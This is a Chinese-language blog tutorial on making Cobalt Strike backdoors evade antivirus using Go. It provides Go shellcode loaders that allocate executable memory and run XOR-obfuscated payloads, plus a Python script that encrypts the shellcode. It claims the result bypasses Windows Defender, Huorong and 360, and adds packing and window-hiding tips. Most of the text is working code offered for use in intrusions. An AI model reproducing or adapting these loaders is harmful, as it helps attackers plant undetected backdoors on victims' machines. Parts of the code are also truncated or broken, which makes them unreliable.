Go免殺初探
0x01 Go免殺
由于各種av的限制,我們在后門上線或者權限持久化時很容易被殺軟查殺,容易引起目標的警覺同時暴露了自己的ip。尤其是對于windows目標,一個免殺的后門極為關鍵,如果后門文件落不了地,還怎么能進一步執行呢?關于后門免殺,網上的介紹已經很多了,原理其實大同小異。看了很多網上的案例,發現網上比較多都是用C/C++和python來進行免殺,但是很多已經被殺軟看的死死的。
非常容易就被識別出來了,那我想能不能用一種稍微小眾一點的語言來寫免殺呢,這里就不得不說到go語言。
Go語言專門針對多處理器系統應用程序的編程進行了優化,使用Go編譯的程序可以媲美C或C++代碼的速度,而且更加安全、支持并行進程。而且go語言支持交叉編譯可以跨平臺。
本文基于cobalt strike生成的.c文件來進行免殺測試。
0x02 免殺測試
首先生成成一個.C文件


這里先貼一個最原始的go加載代碼
package main
import ( "syscall" "unsafe")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行代碼,應用程序可以讀寫該區域。)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
func main() { xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0)}
這里注意:因為殺軟對直接加載shellcode的一般都是落地秒,所以我們得換種方式,將shellcode混淆加密后再解密來使用。
加密和混淆經常使用的有異或加密,AES加密,或者添加隨機字符等。
但是隨著現在使用這種方法的人越來越多,殺軟檢測力度也越來越大,所以現在混淆的關鍵就是方式盡量要小眾,或者自己寫加密方法。
這里有個好的地方就是,現在網上實現加密混淆操作的大都是使用C/C++來完成的,有些比較好的思路用C/C++實現可能會被殺軟攔截,但是如果把它移植到go上面說不定就有不一樣的效果。
先從整個shellcode混淆的腳本
def xor(shellcode, key): new_shellcode = "" key_len = len(key) # 對shellcode的每一位進行xor亦或處理 for i in range(0, len(shellcode)): s = ord(shellcode[i]) p = ord((key[i % key_len])) s = s ^ p # 與p異或,p就是key中的字符之一 s = chr(s) new_shellcode += s return new_shellcode
def random_decode(shellcode): j = 0 new_shellcode = "" for i in range(0,len(shellcode)): if i % 2 == 0: new_shellcode[i] = shellcode[j] j += 1
return new_shellcode
def add_random_code(shellcode, key): new_shellcode = "" key_len = len(key) # 每個字節后面添加隨機一個字節,隨機字符來源于key for i in range(0, len(shellcode)): #print(ord(shellcode[i])) new_shellcode += shellcode[i] # print("&"+hex(ord(new_shellcode[i]))) new_shellcode += key[i % key_len]
#print(i % key_len) return new_shellcode
# 將shellcode打印輸出def str_to_hex(shellcode): raw = "" for i in range(0, len(shellcode)): s = hex(ord(shellcode[i])).replace("0x",',0x') raw = raw + s return raw
if __name__ == '__main__': shellcode = "" # 這是異或和增加隨機字符使用的key key = "iqe" print(shellcode[0]) print(len(shellcode)) # 首先對shellcode進行異或處理 shellcode = xor(shellcode, key) print(len(shellcode))
# 然后在shellcode中增加隨機字符 shellcode = add_random_code(shellcode, key)
# 將shellcode打印出來 print(str_to_hex(shellcode))
加密shellcode后,再使用go語言加載混淆后的shellcode,先解密再執行。
package main
import ( "fmt" "syscall" "time" "unsafe")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行代碼,應用程序可以讀寫該區域。
)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
func main() { mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65} var ttyolller []byte key := []byte("iqe") var key_size = len(key) var shellcode_final []byte var j = 0 time.Sleep(2) // 去除垃圾代碼 fmt.Print(len(mix_shellcode)) for i := 0; i < len(mix_shellcode); i++ { if (i % 2 == 0) { shellcode_final = append(shellcode_final,mix_shellcode[i]) j += 1 } } time.Sleep(3) fmt.Print(shellcode_final) // 解密異或 for i := 0; i < len(shellcode_final); i++ { ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size]) } time.Sleep(3) addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } time.Sleep(3) _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0)}
直接go build生成exe文件
生成的文件大概有2M,再經過UPX壓縮后大概只有1M,這比python生成的要小很多了。

靜態完美過WindowsDefender,火絨和360全家桶


可以正常上線

VT查殺率71/8

可以看到國內的就一款殺軟查出來了
0x03 后記
用go編譯的exe文件執行后會彈出黑框這里有兩個解決辦法
在initial_beacon中設置auto migrate,但還得連帶把initial sleep設置成盡可能短
build時添加操作選項:-ldflags="-H windowsgui"
版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權煩請告知,我們會立即刪除并表示歉意。祝愿每一位讀者生活愉快!謝謝!